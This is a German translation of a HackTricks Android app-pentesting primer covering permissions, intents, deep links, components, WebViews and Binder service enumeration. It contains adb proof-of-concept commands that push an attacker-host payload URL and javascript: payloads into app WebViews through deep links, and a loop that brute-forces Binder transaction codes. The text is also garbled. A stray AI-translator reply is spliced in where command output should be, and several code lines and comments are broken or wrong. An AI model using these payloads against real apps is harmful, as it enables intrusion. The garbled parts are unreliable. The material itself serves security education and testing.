Grundlagen von Android-Anwendungen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Android-Sicherheitsmodell
Es gibt zwei Ebenen:
- Das OS, das installierte Anwendungen voneinander isoliert.
- Die Anwendung selbst, die Entwicklern erlaubt, bestimmte Funktionalitäten freizugeben und Anwendungsmöglichkeiten zu konfigurieren.
UID-Trennung
Jeder Anwendung wird eine spezifische User ID zugewiesen. Dies geschieht während der Installation der App, sodass die App nur mit Dateien interagieren kann, die ihrer User ID gehören oder mit ihr geteilt sind. Daher können nur die App selbst, bestimmte Komponenten des OS und der root-Benutzer auf die App-Daten zugreifen.
UID-Freigabe
Zwei Anwendungen können so konfiguriert werden, dass sie dieselbe UID verwenden. Das kann nützlich sein, um Informationen zu teilen, aber wenn eine von ihnen kompromittiert wird, sind die Daten beider Anwendungen betroffen. Aus diesem Grund wird dieses Verhalten nicht empfohlen.
Um dieselbe UID zu teilen, müssen Anwendungen denselben android:sharedUserId-Wert in ihren Manifests definieren.
Sandboxing
Die Android Application Sandbox erlaubt, jede Anwendung als einen separaten Prozess unter einer separaten User ID laufen zu lassen. Jeder Prozess hat seine eigene virtuelle Maschine, sodass der Code einer App isoliert von anderen Apps ausgeführt wird.
Seit Android 5.0(L) wird SELinux durchgesetzt. Grundsätzlich verweigerte SELinux alle Prozessinteraktionen und es wurden dann Richtlinien erstellt, um nur die erwarteten Interaktionen zwischen ihnen zu erlauben.
Berechtigungen
Wenn du eine App installierst und sie nach Berechtigungen fragt, fordert die App die Berechtigungen an, die in den uses-permission-Elementen in der AndroidManifest.xml konfiguriert sind. Das uses-permission-Element gibt den Namen der angeforderten Berechtigung im name-Attribut an. Es besitzt außerdem das maxSdkVersion-Attribut, das verhindert, dass auf Versionen höher als die angegebene nach der Berechtigung gefragt wird.
Beachte, dass Android-Anwendungen nicht alle Berechtigungen zu Beginn anfragen müssen; sie können Berechtigungen auch dynamisch anfordern, aber alle Berechtigungen müssen im Manifest deklariert werden.
Wenn eine App Funktionalität freigibt, kann sie den Zugriff auf nur Apps einschränken, die eine bestimmte Berechtigung besitzen.
Ein permission-Element hat drei Attribute:
- Der name der Berechtigung
- Das permission-group-Attribut, das das Gruppieren verwandter Berechtigungen erlaubt.
- Das protection-level, das angibt, wie die Berechtigungen gewährt werden. Es gibt vier Typen:
- Normal: Wird verwendet, wenn keine bekannten Bedrohungen für die App bestehen. Der Benutzer muss sie nicht genehmigen.
- Dangerous: Zeigt an, dass die Berechtigung der anfragenden Anwendung einen gewissen erhöhten Zugriff gewährt. Benutzer müssen diese genehmigen.
- Signature: Nur Apps, die mit demselben Zertifikat signiert sind wie die App, die die Komponente exportiert, können die Berechtigung erhalten. Dies ist der stärkste Schutztyp.
- SignatureOrSystem: Nur Apps, die mit demselben Zertifikat signiert sind wie die App, die die Komponente exportiert, oder Apps mit systemweiter Berechtigung können die Berechtigungen erhalten.
Vorinstallierte Anwendungen
Diese Apps befinden sich normalerweise in den Verzeichnissen /system/app oder /system/priv-app und einige von ihnen sind optimiert (man findet möglicherweise nicht einmal die Datei classes.dex). Diese Anwendungen sind eine Überprüfung wert, da sie manchmal mit zu vielen Berechtigungen laufen (z. B. als root).
- Die mit dem AOSP (Android Open Source Project) ROM ausgelieferten
- Vom Gerätehersteller hinzugefügt
- Vom Mobilfunkanbieter hinzugefügt (falls beim Anbieter gekauft)
Rooting
Um Root-Zugriff auf ein physisches Android-Gerät zu erlangen, muss man in der Regel 1 oder 2 Schwachstellen ausnutzen, die meist gerätespezifisch und versionsabhängig sind.
Sobald der Exploit erfolgreich war, wird üblicherweise die Linux-su-Binärdatei an einen Ort kopiert, der im PATH des Benutzers liegt, z. B. /system/xbin.
Nachdem die su-Binärdatei eingerichtet ist, wird häufig eine weitere Android-App verwendet, um mit der su-Binärdatei zu interagieren und Anfragen für Root-Zugriff zu verarbeiten, z. B. Superuser und SuperSU (verfügbar im Google Play Store).
Caution
Beachte, dass der Rooting-Prozess sehr gefährlich ist und das Gerät schwer beschädigen kann
ROMs
Es ist möglich, das OS durch Installation einer benutzerdefinierten Firmware zu ersetzen. Dadurch lässt sich die Nutzbarkeit eines alten Geräts verlängern, Softwareeinschränkungen umgehen oder Zugang zum neuesten Android-Code erhalten.
OmniROM und LineageOS sind zwei der beliebtesten Firmware-Optionen.
Beachte, dass es nicht immer notwendig ist, das Gerät zu rooten, um eine benutzerdefinierte Firmware zu installieren. Einige Hersteller erlauben das Entsperren ihrer Bootloader auf dokumentierte und sichere Weise.
Auswirkungen
Sobald ein Gerät gerootet ist, kann jede App Root-Zugriff anfordern. Wenn eine bösartige Anwendung diesen erhält, hat sie Zugriff auf nahezu alles und kann das Gerät beschädigen.
Android-Anwendungsgrundlagen
- The format of Android applications is referred to as APK file format. It is essentially a ZIP file (by renaming the file extension to .zip, the contents can be extracted and viewed).
- APK-Inhalte (nicht vollständig)
- AndroidManifest.xml
- resources.arsc/strings.xml
- resources.arsc: enthält vorkompilierte Ressourcen, wie binäre XML-Dateien.
- res/xml/files_paths.xml
- META-INF/
- Hier befindet sich das Zertifikat!
- classes.dex
- Enthält Dalvik-Bytecode, der den kompilierten Java-(oder Kotlin-)Code darstellt, den die Anwendung standardmäßig ausführt.
- lib/
- Beinhaltet native Bibliotheken, nach CPU-Architektur in Unterverzeichnissen getrennt.
armeabi: Code für ARM-basierte Prozessorenarmeabi-v7a: Code für ARMv7- und höhere Prozessorenx86: Code für x86-Prozessorenmips: nur Code für MIPS-Prozessoren- assets/
- Speichert sonstige Dateien, die von der App benötigt werden, eventuell zusätzliche native Bibliotheken oder DEX-Dateien, die manchmal von Malware-Autoren verwendet werden, um zusätzlichen Code zu verbergen.
- res/
- Enthält Ressourcen, die nicht in resources.arsc kompiliert sind
Dalvik & Smali
In der Android-Entwicklung werden Java oder Kotlin zur Erstellung von Apps verwendet. Anstatt wie bei Desktop-Apps die JVM zu nutzen, kompiliert Android diesen Code in Dalvik Executable (DEX) bytecode. Früher behandelte die Dalvik Virtual Machine diesen Bytecode, inzwischen übernimmt in neueren Android-Versionen die Android Runtime (ART).
Für Reverse Engineering ist Smali entscheidend. Es ist die menschenlesbare Darstellung des DEX-Bytecodes und ähnelt einer Assemblersprache, indem es Quellcode in Bytecode-Anweisungen übersetzt. Smali und baksmali bezeichnen in diesem Zusammenhang die Assembler- und Disassembler-Tools.
Intents
Intents sind das primäre Mittel, mit dem Android-Apps untereinander oder mit anderen Apps kommunizieren. Diese Nachrichtenobjekte können auch Daten zwischen Apps oder Komponenten transportieren, ähnlich wie GET/POST-Anfragen in HTTP-Kommunikation verwendet werden.
Ein Intent ist im Grunde eine Nachricht, die zwischen Komponenten ausgetauscht wird. Intents können an bestimmte Komponenten oder Apps gerichtet werden oder ohne spezifischen Empfänger gesendet werden.
Einfach ausgedrückt können Intents verwendet werden, um:
- Eine Activity zu starten, typischerweise die Benutzeroberfläche einer App zu öffnen
- Als Broadcasts, um das System und Apps über Änderungen zu informieren
- Einen Hintergrunddienst zu starten, zu stoppen und mit ihm zu kommunizieren
- Auf Daten über ContentProviders zuzugreifen
- Als Callbacks zur Behandlung von Events
Wenn verwundbar, können Intents für verschiedene Angriffe genutzt werden.
Intent-Filter
Intent Filters definieren wie eine Activity, ein Service oder ein Broadcast Receiver mit verschiedenen Typen von Intents interagieren kann. Im Wesentlichen beschreiben sie die Fähigkeiten dieser Komponenten, z. B. welche Aktionen sie ausführen können oder welche Arten von Broadcasts sie verarbeiten können. Der primäre Ort, um diese Filter zu deklarieren, ist die AndroidManifest.xml-Datei, obwohl es für Broadcast Receiver auch möglich ist, sie programmgesteuert zu definieren.
Intent Filters bestehen aus Kategorien, Actions und Data-Filtern, mit der Möglichkeit, zusätzliche Metadaten einzuschließen. Diese Konfiguration erlaubt es Komponenten, spezifische Intents zu verarbeiten, die den deklarierten Kriterien entsprechen.
Ein kritischer Aspekt von Android-Komponenten (Activities/Services/Content Providers/Broadcast Receivers) ist ihre Sichtbarkeit bzw. ihr öffentlicher Status. Eine Komponente gilt als öffentlich und kann mit anderen Apps interagieren, wenn sie mit exported auf true gesetzt ist oder wenn ein Intent Filter im Manifest dafür deklariert ist. Entwickler haben jedoch die Möglichkeit, diese Komponenten ausdrücklich privat zu halten, damit sie nicht unbeabsichtigt mit anderen Apps interagieren. Dies wird erreicht, indem das exported-Attribut in ihrer Manifest-Definition auf false gesetzt wird.
Darüber hinaus können Entwickler den Zugriff auf diese Komponenten weiter absichern, indem sie spezifische Berechtigungen verlangen. Das permission-Attribut kann gesetzt werden, um durchzusetzen, dass nur Apps mit der angegebenen Berechtigung auf die Komponente zugreifen dürfen, wodurch eine zusätzliche Sicherheitsebene und Kontrolle darüber entsteht, wer mit der Komponente interagieren kann.
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
Implizite Intents
Intents werden programmatisch mit einem Intent-Konstruktor erstellt:
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
Die Action des zuvor deklarierten Intents ist ACTION_SEND und das Extra ist eine mailto Uri (das Extra ist die zusätzliche Information, die der Intent erwartet).
Dieser Intent sollte im Manifest wie im folgenden Beispiel deklariert werden:
<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
Ein intent-filter muss die action, data und category abgleichen, um eine Nachricht zu empfangen.
Der “Intent resolution”-Prozess bestimmt, welche App jede Nachricht erhalten soll. Dieser Prozess berücksichtigt das priority attribute, das in der intent-filter declaration gesetzt werden kann, und the one with the higher priority will be selected. Diese Priorität kann zwischen -1000 und 1000 gesetzt werden und Anwendungen können den Wert SYSTEM_HIGH_PRIORITY verwenden. Falls ein conflict auftritt, erscheint ein “choser” Window, sodass der user can decide.
Explicit Intents
Ein explicit intent gibt den class name an, auf den er abzielt:
Intent downloadIntent = new (this, DownloadService.class):
In anderen Anwendungen, um auf den zuvor deklarierten Intent zuzugreifen, kannst du Folgendes verwenden:
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
Pending Intents
Diese ermöglichen es anderen Anwendungen, Aktionen im Namen Ihrer Anwendung auszuführen, wobei die Identität und Berechtigungen Ihrer App verwendet werden. Beim Erstellen eines Pending Intent sollte ein Intent und die auszuführende Aktion angegeben werden. Wenn der deklarierte Intent nicht explizit ist (nicht angibt, welche App ihn aufrufen kann), könnte eine bösartige Anwendung die deklarierte Aktion im Namen der Opfer-App ausführen. Zudem, wenn keine Aktion angegeben ist, kann die bösartige App beliebige Aktionen im Namen des Opfers ausführen.
Broadcast Intents
Im Gegensatz zu den vorherigen Intents, die nur von einer App empfangen werden, können Broadcast-Intents von mehreren Apps empfangen werden. Allerdings ist es ab API-Version 14 möglich, die App anzugeben, die die Nachricht empfangen soll, indem man Intent.set Package verwendet.
Alternativ ist es auch möglich, beim Senden des Broadcasts eine Berechtigung anzugeben. Die empfangende App muss diese Berechtigung besitzen.
Es gibt zwei Typen von Broadcasts: Normal (asynchron) und Ordered (synchron). Die Reihenfolge basiert auf der konfigurierten Priorität innerhalb des receiver-Elements. Jede App kann den Broadcast verarbeiten, weiterleiten oder verwerfen.
Es ist möglich, einen Broadcast mit der Funktion sendBroadcast(intent, receiverPermission) aus der Context-Klasse zu senden.
Man kann auch die Funktion sendBroadcast des LocalBroadCastManager verwenden, die sicherstellt, dass die Nachricht die App niemals verlässt. Damit muss man nicht einmal einen Receiver-Komponenten exportieren.
Sticky Broadcasts
Diese Art von Broadcasts kann lange nach dem Senden noch abgerufen werden.
Diese wurden ab API-Level 21 als veraltet markiert und es wird empfohlen, sie nicht zu verwenden.
Sie erlauben jeder Anwendung, die Daten auszuspähen, aber auch zu verändern.
Wenn Sie Funktionen finden, die das Wort “sticky” enthalten, wie sendStickyBroadcast oder sendStickyBroadcastAsUser, prüfen Sie die Auswirkungen und versuchen Sie, sie zu entfernen.
Deep links / URL schemes
In Android-Anwendungen werden deep links verwendet, um eine Aktion (Intent) direkt über eine URL zu starten. Dies geschieht, indem innerhalb einer Activity ein spezifisches URL-Schema deklariert wird. Wenn ein Android-Gerät versucht, eine URL mit diesem Schema zu öffnen, wird die angegebene Activity innerhalb der Anwendung gestartet.
Das Schema muss in der AndroidManifest.xml Datei deklariert werden:
[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]
Das Schema aus dem vorherigen Beispiel ist examplescheme:// (beachte auch category BROWSABLE)
Dann kannst du im data-Feld den Host und Pfad angeben:
<data android:scheme="examplescheme"
android:host="example"
/>
Um von einem web darauf zuzugreifen, kann man einen link wie folgt setzen:
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
Um den Code, der in der App ausgeführt wird, zu finden, gehe zur Activity, die vom Deeplink aufgerufen wird, und suche die Funktion onNewIntent.
Learn how to call deep links without using HTML pages.
Deep-Link-Sicherheitstests & adb PoCs
- Erkennung von Einstiegspunkten: exportierte Activities, die
<action android:name="android.intent.action.VIEW" />+<category android:name="android.intent.category.BROWSABLE" />deklarieren, sind über manipulierte URIs (benutzerdefinierte Schemes oderhttp/httpsApp Links) remote erreichbar. Priorisiere Pfade, die die Schlüsselwörter login/reset/payment/wallet/admin enthalten. - Heuristiken zur Umgehung von Validierungen: schwache Host-Prüfungen wie
endsWith(),contains(), permissive regexes oder Substring-Allowlists können meist mit vom Angreifer kontrollierten Subdomains, Präfix-/Suffix-Tricks und URL/UTF‑8-Doppelencodierung umgangen werden. - WebView-Sinks: wenn der Handler die eingehende URI oder Query-Parameter an
WebView.loadUrl(...)weiterreicht, kannst du die App dazu zwingen, beliebigen Angreifer-Content zu rendern. Wenn die Scheme-Validierung schwach ist, probierejavascript:-Payloads sowie externehttps://-URLs. - adb PoC-Vorlagen (implizit vs explizit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"
# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
- Praktische Hinweise: capture multiple payload variants (external URL vs
javascript:) und diese schnell gegen ein Gerät/Emulator replayen, um echte Probleme (open-redirect/auth-bypass/WebView URL injection) von static-analysis noise zu unterscheiden. - Automation: Deep-C automatisiert deeplink hunting durch Decompilieren der APK (apktool + dex2jar + jadx), Auflisten von exported + browsable activities, Korrelation von schwacher Validierung und
WebView.loadUrl-Flows und erzeugt ausführbare adb PoCs (optional automatisch mit--execausgeführt).
AIDL - Android Interface Definition Language
Die Android Interface Definition Language (AIDL) dient der Erleichterung der Kommunikation zwischen Client und Service in Android-Anwendungen über Interprozesskommunikation (IPC). Da der direkte Zugriff auf den Speicher eines anderen Prozesses unter Android nicht erlaubt ist, vereinfacht AIDL den Prozess, indem Objekte in ein vom Betriebssystem verstandenes Format marshallt werden und so die Kommunikation zwischen verschiedenen Prozessen erleichtert.
Schlüsselkonzepte
-
Bound Services: Diese Services nutzen AIDL für IPC und erlauben es Activities oder Komponenten, sich an einen Service zu binden, Requests zu stellen und Antworten zu erhalten. Die
onBind-Methode in der Service-Klasse ist entscheidend für die Initiierung der Interaktion und daher ein wichtiger Bereich für Security-Reviews zur Suche nach Schwachstellen. -
Messenger: Als gebundener Service ermöglicht Messenger IPC mit Fokus auf die Verarbeitung von Daten über die
onBind-Methode. Es ist wichtig, diese Methode sorgfältig auf unsichere Datenverarbeitung oder Ausführung sensitiver Funktionen zu prüfen. -
Binder: Obwohl die direkte Nutzung der Binder-Klasse weniger üblich ist wegen der Abstraktion durch AIDL, ist es nützlich zu verstehen, dass Binder als kernel-level driver fungiert und den Datentransfer zwischen den Speicherbereichen verschiedener Prozesse ermöglicht. Für weiteres Verständnis gibt es eine Ressource unter https://www.youtube.com/watch?v=O-UHvFjxwZ8.
Components
These include: Activities, Services, Broadcast Receivers and Providers.
Launcher Activity and other activities
In Android apps sind activities wie Bildschirme, die verschiedene Teile der Benutzeroberfläche anzeigen. Eine App kann viele activities haben, von denen jede dem Benutzer einen eigenen Screen präsentiert.
Die launcher activity ist das Haupttor zu einer App und wird gestartet, wenn man das App-Icon antippt. Sie wird in der Manifest-Datei der App mit den spezifischen MAIN- und LAUNCHER-Intents definiert:
<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Nicht alle Apps benötigen eine Launcher-Activity, besonders solche ohne Benutzeroberfläche, wie Hintergrunddienste.
Activities können anderen Apps oder Prozessen zur Verfügung gestellt werden, indem man sie im Manifest als “exported” markiert. Diese Einstellung erlaubt anderen Apps, diese Activity zu starten:
<service android:name=".ExampleExportedService" android:exported="true"/>
Allerdings ist der Zugriff auf eine Activity aus einer anderen App nicht immer ein Sicherheitsrisiko. Problematisch wird es, wenn sensible Daten unsachgemäß geteilt werden, was zu information leaks führen könnte.
Der Lebenszyklus einer Activity beginnt mit der onCreate‑Methode, die die UI einrichtet und die Activity für die Interaktion mit dem Benutzer vorbereitet.
Application-Unterklasse
In der Android-Entwicklung hat eine App die Möglichkeit, eine Unterklasse der Application Klasse zu erstellen, obwohl dies nicht zwingend erforderlich ist. Wenn eine solche Unterklasse definiert ist, wird sie als erste Klasse innerhalb der App instanziiert. Die Methode attachBaseContext, wenn sie in dieser Unterklasse implementiert ist, wird vor der Methode onCreate ausgeführt. Diese Konfiguration ermöglicht eine frühe Initialisierung, bevor der Rest der Anwendung startet.
public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}
@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}
Services
Services sind Hintergrundprozesse, die Aufgaben ohne Benutzeroberfläche ausführen können. Diese Aufgaben können weiterlaufen, selbst wenn Nutzer zu anderen Anwendungen wechseln, wodurch Services für lang laufende Operationen entscheidend sind.
Services sind vielseitig; sie können auf verschiedene Weisen initiiert werden, wobei Intents die primäre Methode sind, um sie als Einstiegspunkt einer Anwendung zu starten. Wenn ein Service mit der Methode startService gestartet wird, wird seine onStart-Methode aktiviert und läuft weiter, bis die Methode stopService explizit aufgerufen wird. Wenn die Funktion eines Services hingegen von einer aktiven Client-Verbindung abhängt, wird die Methode bindService verwendet, um den Client an den Service zu binden und die onBind-Methode für die Datenübergabe zu aktivieren.
Eine typische Anwendung von Services ist beispielsweise die Wiedergabe von Hintergrundmusik oder das Laden von Netzwerkdaten, ohne die Interaktion des Nutzers mit der App zu beeinträchtigen. Außerdem können Services für andere Prozesse desselben Geräts durch exporting zugänglich gemacht werden. Dies ist nicht das Standardverhalten und erfordert eine explizite Konfiguration in der Android Manifest-Datei:
<service android:name=".ExampleExportedService" android:exported="true"/>
Broadcast Receivers
Broadcast receivers fungieren als Listener in einem Nachrichtensystem und ermöglichen mehreren Anwendungen, auf dieselben Systemnachrichten zu reagieren. Eine App kann einen Receiver registrieren auf zwei Hauptwegen: über das App-Manifest oder dynamisch im Code der App über die registerReceiver-API. Im Manifest werden Broadcasts mit Berechtigungen gefiltert, während dynamisch registrierte Receiver bei der Registrierung ebenfalls Berechtigungen angeben können.
Intent filters sind in beiden Registrierungsarten entscheidend und bestimmen, welche Broadcasts den Receiver auslösen. Sobald ein passender Broadcast gesendet wird, wird die onReceive-Methode des Receivers aufgerufen, wodurch die App entsprechend reagieren kann, z. B. ihr Verhalten bei einer Warnung vor niedrigem Akkustand anpasst.
Broadcasts können entweder asynchron sein und alle Receiver ohne Reihenfolge erreichen, oder synchron, wobei Receiver den Broadcast basierend auf festgelegten Prioritäten erhalten. Es ist jedoch wichtig, das mögliche Sicherheitsrisiko zu beachten, da jede App sich selbst priorisieren kann, um einen Broadcast abzufangen.
Um die Funktionalität eines Receivers zu verstehen, suchen Sie in seiner Klasse nach der onReceive-Methode. Der Code dieser Methode kann das empfangene Intent manipulieren, was die Notwendigkeit der Datenvalidierung durch Receiver hervorhebt — besonders bei Ordered Broadcasts, die das Intent ändern oder verwerfen können.
Content Provider
Content Providers sind essenziell für das Teilen strukturierter Daten zwischen Apps und unterstreichen die Wichtigkeit, Permissions zu implementieren, um Datensicherheit zu gewährleisten. Sie erlauben Apps den Zugriff auf Daten aus verschiedenen Quellen, einschließlich Datenbanken, Dateisystemen oder dem Web. Spezifische Berechtigungen wie readPermission und writePermission sind entscheidend zur Zugriffskontrolle. Zusätzlich kann temporärer Zugriff über grantUriPermission-Einstellungen im App-Manifest gewährt werden, wobei Attribute wie path, pathPrefix und pathPattern für feingranulare Zugriffskontrolle verwendet werden.
Input-Validierung ist von größter Bedeutung, um Schwachstellen wie SQL-Injection zu verhindern. Content Providers unterstützen grundlegende Operationen: insert(), update(), delete() und query(), die Datenmanipulation und das Teilen zwischen Anwendungen ermöglichen.
Permission semantics and pitfalls (Content Providers)
- If a provider is exported, you should declare both readPermission and writePermission explicitly. When writePermission is omitted the default is null, meaning any app can attempt insert/update/delete if those methods are implemented by the provider.
- Never concatenate untrusted projection, selection, selectionArgs, or sortOrder into raw SQL. Use whitelists and parameter binding (e.g., SQLiteQueryBuilder with a projection map) and fixed WHERE templates.
- Prefer android:exported=“false” unless the provider must be public. For selective sharing, use grantUriPermissions with path/pathPrefix/pathPattern.
FileProvider, ein spezialisierter Content Provider, konzentriert sich auf das sichere Teilen von Dateien. Er wird im App-Manifest mit spezifischen Attributen definiert, um den Zugriff auf Ordner zu steuern, angegeben durch android:exported und android:resource, die auf Ordnerkonfigurationen verweisen. Beim Teilen von Verzeichnissen ist Vorsicht geboten, um zu verhindern, dass sensible Daten unbeabsichtigt offengelegt werden.
Example manifest declaration for FileProvider:
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>
Und ein Beispiel, wie man gemeinsame Ordner in filepaths.xml angibt:
<paths>
<files-path path="images/" name="myimages" />
</paths>
For further information check:
WebViews
WebViews sind wie Mini-Webbrowser innerhalb von Android-Apps, die Inhalte entweder aus dem Web oder aus lokalen Dateien laden. Sie sind ähnlichen Risiken wie herkömmliche Browser ausgesetzt, doch es gibt Möglichkeiten, diese Risiken durch spezielle Einstellungen zu reduzieren.
Android bietet zwei Haupttypen von WebViews:
- WebViewClient eignet sich gut für einfaches HTML, unterstützt jedoch nicht die JavaScript alert-Funktion, was die Testmöglichkeiten für XSS-Angriffe beeinflusst.
- WebChromeClient verhält sich eher wie die komplette Chrome-Browser-Erfahrung.
Ein wichtiger Punkt ist, dass WebView-Browser keine Cookies mit dem Hauptbrowser des Geräts teilen.
Zum Laden von Inhalten stehen Methoden wie loadUrl, loadData und loadDataWithBaseURL zur Verfügung. Es ist entscheidend sicherzustellen, dass diese URLs oder Dateien sicher zu verwenden sind. Sicherheits-Einstellungen können über die Klasse WebSettings verwaltet werden. Zum Beispiel kann das Deaktivieren von JavaScript mit setJavaScriptEnabled(false) XSS-Angriffe verhindern.
Die JavaScript-„Bridge“ erlaubt Java-Objekten die Interaktion mit JavaScript; ab Android 4.2 müssen Methoden aus Sicherheitsgründen mit @JavascriptInterface gekennzeichnet werden.
Das Zulassen von Content-Zugriff (setAllowContentAccess(true)) ermöglicht es WebViews, auf Content Providers zuzugreifen, was ein Risiko darstellen kann, sofern die Content-URLs nicht als sicher verifiziert sind.
Um Dateizugriff zu kontrollieren:
- Das Deaktivieren des Dateizugriffs (
setAllowFileAccess(false)) beschränkt den Zugriff auf das Dateisystem, mit Ausnahmen für bestimmte Assets, wodurch sichergestellt wird, dass diese nur für nicht-sensible Inhalte verwendet werden.
Weitere App-Komponenten und Mobile Device Management
Digitale Signatur von Anwendungen
- Digitale Signatur ist für Android-Apps unerlässlich und stellt sicher, dass sie vor der Installation authentisch erstellt wurden. Dieser Prozess verwendet ein Zertifikat zur App-Identifikation und muss vom Paketmanager des Geräts bei der Installation überprüft werden. Apps können selbstsigniert oder von einer externen CA zertifiziert sein, was vor unautorisiertem Zugriff schützt und sicherstellt, dass die App während der Auslieferung an das Gerät nicht manipuliert wurde.
App-Verifikation für erhöhte Sicherheit
- Seit Android 4.2 erlaubt eine Funktion namens Verify Apps Nutzern, Apps vor der Installation auf Sicherheit prüfen zu lassen. Dieser Verifizierungsprozess kann Nutzer vor potenziell schädlichen Apps warnen oder sogar die Installation besonders bösartiger Anwendungen verhindern und so die Sicherheit der Nutzer erhöhen.
Mobile Device Management (MDM)
- MDM-Lösungen bieten Überwachung und Sicherheit für mobile Geräte durch die Device Administration API. Sie erfordern die Installation einer Android-App, um mobile Geräte effektiv zu verwalten und abzusichern. Wichtige Funktionen umfassen das Durchsetzen von Passwort-Richtlinien, das Vorschreiben von Speicher-Verschlüsselung und das Ermöglichen eines Fernlöschens von Daten, womit umfassende Kontrolle und Sicherheit über mobile Geräte gewährleistet werden.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);
if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}
Enumerieren und Ausnutzen von AIDL / Binder-Diensten
Android Binder IPC stellt viele system- und vom Hersteller bereitgestellte Dienste bereit. Diese Dienste werden zu einer Angriffsfläche, wenn sie ohne eine ordnungsgemäße Berechtigungsprüfung exportiert werden (die AIDL-Schicht selbst führt keine Zugriffskontrolle durch).
1. Laufende Dienste entdecken
# from an adb shell (USB or wireless)
service list # simple one-liner
am list services # identical output, ActivityManager wrapper
Ich habe keinen Zugriff auf dein Dateisystem. Bitte füge den Text aus src/mobile-pentesting/android-app-pentesting/android-applications-basics.md hier ein (oder den Abschnitt, den du übersetzt haben willst).
Hinweis: Die Übersetzung liefere ich als nummerierte Liste. Ich übersetze Fließtext ins Deutsche, lasse aber Code, Tags, Links, Pfade und spezifische Begriffe unverändert (z. B. pentesting, leak, Cloud-/SaaS-Namen).
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146 wifi : [android.net.wifi.IWifiManager]
- Der Index (erste Spalte) wird zur Laufzeit vergeben – verlassen Sie sich nicht darauf über Neustarts hinweg.
- Der Binder name (z. B.
mtkconnmetrics) ist das, was anservice callübergeben wird. - Der Wert in den Klammern ist die vollqualifizierte AIDL interface, von der der Stub generiert wurde.
2. Interface-Descriptor erhalten (PING)
Jeder Binder stub implementiert automatisch transaction code 0x5f4e5446 (1598968902 dezimal, ASCII “_NTF”).
# "ping" the service
service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
Eine gültige Antwort gibt den Schnittstellennamen als UTF-16-String innerhalb eines Parcel zurück.
3. Aufruf einer Transaktion
Syntax: service call <name> <code> [type value ...]
Gängige Argument-Spezifizierer:
i32 <int>– vorzeichenbehafteter 32-Bit-Werti64 <long>– vorzeichenbehafteter 64-Bit-Werts16 <string>– UTF-16-String (Android 13+ verwendetutf16)
Beispiel – Netzwerküberwachung mit uid 1 auf einem MediaTek-Gerät starten:
service call mtkconnmetrics 8 i32 1
4. Brute-forcing unbekannter Methoden
Wenn header files nicht verfügbar sind, kannst du den Code so lange iterieren, bis sich die Fehlermeldung ändert von:
Result: Parcel(00000000 00000000) # "Not a data message"
zu einer normalen Parcel-Antwort oder zu einer SecurityException.
for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done
Wenn der Service mit proguard kompiliert wurde, muss die Zuordnung erraten werden – siehe nächsten Schritt.
5. Codes ↔ Methoden über onTransact() zuordnen
Dekompiliere das jar/odex, das das Interface implementiert (für AOSP stubs prüfe /system/framework; OEMs verwenden oft /system_ext oder /vendor).
Suche nach Stub.onTransact() – dort steht ein riesiger switch(transactionCode):
case TRANSACTION_updateCtaAppStatus: // 5
data.enforceInterface(DESCRIPTOR);
int appId = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;
Jetzt sind der Prototyp und die Parametertypen glasklar.
6. Erkennen fehlender Berechtigungsprüfungen
Die Implementierung (oft eine innere Impl-Klasse) ist für die Autorisierung verantwortlich:
private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}
Das Fehlen einer solchen Logik oder einer Whitelist privilegierter UIDs (z. B. uid == 1000 /*system*/) ist ein Indikator für eine Schwachstelle.
Case study – MediaTek startMonitorProcessWithUid() (transaction 8) führt eine Netlink-Nachricht vollständig aus ohne irgendeine Berechtigungsprüfung, wodurch einer unprivilegierten App ermöglicht wird, mit dem Kernel‑Netfilter‑Modul zu interagieren und das Systemlog zu überschwemmen.
7. Automatisierung der Bewertung
